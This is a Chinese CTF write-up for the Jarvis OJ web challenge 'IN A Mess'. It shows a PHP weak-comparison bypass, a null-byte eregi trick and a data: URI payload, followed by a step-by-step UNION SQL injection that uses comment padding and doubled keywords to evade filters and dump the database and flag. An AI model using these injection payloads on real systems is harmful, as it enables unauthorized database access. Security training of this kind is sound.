1. 程式人生 > >Jarvis OJ-IN A Mess

Jarvis OJ-IN A Mess

IN A Mess

時間:2018年10月6日 彙報人:王禕潔

題目

題解

進入頁面,發現沒啥,檢視原始碼,發現index.phps 在這裡插入圖片描述

進入後讀程式碼,發現三個引數:a,b,id。 在這裡插入圖片描述 id:id==0典型的PHP弱比較,利用id=0aid=0e123id=asd均可實現繞過

b:strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 這裡要求:b的長度大於5,且是基於eregi函式的弱型別,用%00的繞過( strlen函式對%00不截斷但substr截斷)那麼可以令b=%00411111 此處連結一篇部落格可供參考:

https://blog.csdn.net/qq_31481187/article/details/60968595

a:由data進行賦值:$data = @file_get_contents($a,'r') 而又有$data=="1112 is a nice lab!" 可以利用遠端檔案包含在allow_url_include開啟時可以使用,但發現對$a有了.過濾所以還是data協議比較穩妥 此處連結一篇部落格可供參考:https://blog.csdn.net/lxgwm2008/article/details/38437875 這裡採用的格式是:data:,

最後在位址列輸入id=0e&a=data:,1112 is a nice lab!&b=%00411111

,得到: 在這裡插入圖片描述

發現 {/^HT2mCpcvOLf} 不像flag,像一個目錄,於是,嘗試在位址列輸入:http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php 在這裡插入圖片描述

發現,跳轉後自動後補id=1,考慮sql注入

嘗試進行注入,發現此時,簡單過濾了空格,利用/*1*/繞過,且去除敏感字元

於是有:id=1/*1*/and/*1*/1/*1*/=/*1*/1顯示正常 在這裡插入圖片描述

id=1/*1*/and/*1*/1/*1*/=/*1*/2 顯示錯誤,存在注入 在這裡插入圖片描述

id=1/*1*/order/*1*/by/*1*/1 顯示正常 在這裡插入圖片描述

id=1/*1*/order/*1*/by/*1*/2 顯示正常 在這裡插入圖片描述

id=1/*1*/order/*1*/by/*1*/3

顯示正常 在這裡插入圖片描述

id=1/*1*/order/*1*/by/*1*/4 顯示錯誤,欄位數為3 在這裡插入圖片描述

下面開始爆資料庫:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(database())%23 在這裡插入圖片描述 得到資料庫名test

接下來開始爆表名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(seselectlect/*12*/group_concat(table_name)/*12*/frfromom/*12*/information_schema.tables/*12*/where/*12*/table_schema=database())%23 在這裡插入圖片描述 得到表名:content

接下來爆列名:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/group_concat(column_name)/*12*/frofromm/*12*/information_schema.columns/*12*/where/*12*/table_name=0x636f6e74656e74)%23 在這裡插入圖片描述 得到列名:context

讀取內容:id=-1/*12*/uniunionon/*12*/seselectlect/*12*/1,2,(selselectect/*12*/context/*12*/frofromm/*1*/content)%23 在這裡插入圖片描述 得到flag:PCTF{Fin4lly_U_got_i7_C0ngRatulation5}